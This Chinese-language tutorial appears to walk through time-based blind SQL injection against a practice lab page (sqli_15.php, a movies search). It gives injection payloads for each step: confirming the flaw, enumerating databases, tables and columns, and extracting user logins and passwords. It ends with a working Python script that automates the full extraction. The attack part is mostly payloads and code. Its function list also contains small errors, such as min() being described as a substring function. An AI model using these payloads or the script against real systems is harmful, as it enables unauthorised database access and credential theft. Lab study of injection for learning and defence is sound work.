时间盲注步骤:
准备攻击:首先,攻击者需要准备攻击工具,如Burp Suite等。
构造查询:攻击者将构造出一个查询请求,该请求的结果可以通过询问数据库的响应时间来推断。
发送请求:攻击者将构造的请求发送到目标数据库,并开始计时。
分析响应时间:如果请求的结果在数据库中存在,则响应时间通常会比不存在的请求的响应时间长。攻击者可以利用这一点来推断数据库中的数据。
收集信息:如果攻击者能够成功泄露数据库中的敏感信息,他可以收集并利用这些信息。
反复攻击:最后,攻击者可以重复上述步骤,不断收集更多的敏感信息。
常用函数:
sleep(n) --返回0 命令中断返回1
substr(a,b,c) --从b为止开始截取字符串a的c长度
count() --计算总数
ascii() --返回字符串的ASCII码
length() --返回字符串的长度
left(a,b) --从左截取a的前b位
min(a,b,c) --从位置b开始,截取a字符串的c位
ord() --返回第一个字符ascll值
目标:
1.判断是否存在sql延时注入
2.判断当前数据库名称
3.获取所有数据库名
4.获取当前数据库的表名
5.获取字段名
6.获取网站账号,密码
源码分析
如果在输入框输入 a 后台拼接sql语句为
select * from movies where title = 'a';
目标1:
因为这一关不会有任何异常回显,使用or sleep来判断比较耗时间,所以直接用已知存在的电影名(Iron Man)来拼接语句。
判断延时注入
Iron Man ' and sleep(5) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man'and sleep(5) -- ';
后台sql语句查询结果:
目标2:
判断当前数据库名称
1.先要判断当前数据库库名字符的个数
Iron Man' and length(database()) = 5 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man'and length(database()) = 5 and sleep(2) -- ';
后台sql语句查询结果:
2.猜测数据库库名
Iron Man' and ord(mid(database(),1,1)) = 98 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man'and ord(mid(database(),1,1)) = 98 and sleep(2) -- ';
后台sql语句查询结果:
目标三:
获取所有的数据库名
1.判断存在有几个数据库
Iron Man' and (select(count(schema_name)) from information_schema.schemata) = 4 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man'and (select(count(schema_name)) from information_schema.schemata) = 4 and sleep(2) -- ';
后台sql语句查询结果:
2.判断每个数据库库名长度
Iron Man' and (select length(schema_name) from information_schema.schemata limit 1,1) = 5 and sleep(5) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select length(schema_name) from information_schema.schemata limit 1,1) = 5 and sleep(2) -- ;
后台sql语句查询结果:
3.获取每个数据库库名:
Iron Man' and ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) = 98 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and ord(mid((select schema_name from information_schema.schemata limit 1,1),1,1)) = 98 and sleep(2) -- ;
后台sql语句查询结果:
目标四:
获取所有表名:
1.判断当前数据库存在表的数量:
Iron Man' and (select(count(table_name)) from information_schema.tables where table_schema = database()) = 5 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select(count(table_name)) from information_schema.tables where table_schema = database()) = 5 and sleep(2) -- ;
后台sql语句查询结果:
2.判断表的表名长度:
Iron Man' and (select(length(table_name)) from information_schema.tables where table_schema = database() limit 0,1) = 4 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select(length(table_name)) from information_schema.tables where table_schema = database() limit 0,1) = 4 and sleep(2) -- ;
后台sql语句查询结果:
3.获取表的表名:
Iron Man' and ord(mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 98 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and ord(mid((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 98 and sleep(2) -- ;
后台sql语句查询结果:
目标五:
获取所有字段名:
1.获取当前数据库中users表的字段数:
Iron Man' and (select(count(column_name)) from information_schema.columns where table_schema = database() and table_name = 'users') = 9 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select(count(column_name)) from information_schema.columns where table_schema = database() and table_name = 'users') = 9 and sleep(2) -- ;
后台sql语句查询结果:
2.获取当前数据库中users表的每个字段的长度:
Iron Man' and (select(length(column_name)) from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1) = 2 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select(length(column_name)) from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1) = 2 and sleep(2) -- ;
后台sql语句查询结果:
3.获取当前数据库中users表的每个字段的字段名:
Iron Man' and ord(mid((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1),1,1)) = 105 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and ord(mid((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit 0,1),1,1)) = 105 and sleep(2) -- ;
后台sql语句查询结果:
目标六:
获取所有数据:
1.判断当前数据库users表中login字段数值的个数:
Iron Man' and (select count(login) from users) = 2 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select count(login) from users) = 2 and sleep(2) -- ;
后台sql语句查询结果:
2.判断当前数据库users表中login与password字段数值拼接后的长度:
使用concat以’,‘拼接
例如:
构造语句测试:
Iron Man' and (select length(concat(login,',',password)) from users limit 0,1) = 47 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and (select length(concat(login,',',password)) from users limit 0,1) = 47 and sleep(2) -- ;
后台sql语句查询结果:
3.获取当前数据库users表中login与password字段拼接后的数值:
Iron Man' and ord(mid((select concat(login,',',password) from users limit 0,1),1,1)) = 65 and sleep(2) --
后台拼接sql语句为:
select * from movies where title = 'Iron Man' and ord(mid((select concat(login,',',password) from users limit 0,1),1,1)) = 65 and sleep(2) -- ;
后台sql语句查询结果:
每一次测试比较耗时间,推荐使用脚本
python脚本:
import requests
import time
poc_list = [
"Iron Man' and length(database()) = {} and sleep(2) -- ",
"Iron Man' and ord(mid(database(),{},1)) = {} and sleep(2) -- ",
"Iron Man' and (select(count(schema_name)) from information_schema.schemata) = {} and sleep(2) -- ",
"Iron Man' and ord(mid((select schema_name from information_schema.schemata limit {},1),{},1)) = {} and sleep(2) -- ",
"Iron Man' and (select(count(table_name)) from information_schema.tables where table_schema = database()) = {} and sleep(2) -- ",
"Iron Man' and ord(mid((select table_name from information_schema.tables where table_schema = database() limit {},1),{},1)) = {} and sleep(2) -- ",
"Iron Man' and (select(count(column_name)) from information_schema.columns where table_schema = database() and table_name = 'users') = {} and sleep(2) -- ",
"Iron Man' and ord(mid((select column_name from information_schema.columns where table_schema = database() and table_name = 'users' limit {},1),{},1)) = {} and sleep(2) -- ",
"Iron Man' and (select count(login) from users) = {} and sleep(2) -- ",
"Iron Man' and ord(mid((select concat(login,',',password) from users limit {},1),{},1)) = {} and sleep(2) -- ",
]
url = 'http://10.10.10.10:8081/sqli_15.php?title={}&action=search'
header={"Cookie": "your-cookie"}
def Database_len(i):
for num in range(1,11):
poc = poc_list[i].format(num)
# Getting the current time in seconds.
start_time = time.time()
resp = requests.get(url.format(poc),headers=header)
if time.time() - start_time > 2:
print("长度为{}".format(num))
return num
def Database_name(num=20,count=1,i=0):
for count_num in range(count):
name = ''
if i >= 8:
num = 50
for x in range(1,num + 1):
for y in range(32,127):
if count == 1:
poc = poc_list[i+1].format(x,y)
else:
poc = poc_list[i+1].format(count_num,x,y)
start_time = time.time()
resp = requests.get(url.format(poc),headers=header)
if time.time() - start_time > 2:
name += chr(y)
break
if i == 2 or i == 0:
print("数据库名为:",name)
elif i == 4:
print("表名为:",name)
elif i == 6:
print("字段名为:",name)
elif i == 8:
vuln_list = name.split(',')
print("账号为:{} ,密码为:{}".format(vuln_list[0],vuln_list[1]))
if __name__ == '__main__':
Database_name(Database_len(0))
for i in range(2,9,2):
Database_name(count=Database_len(i),i=i)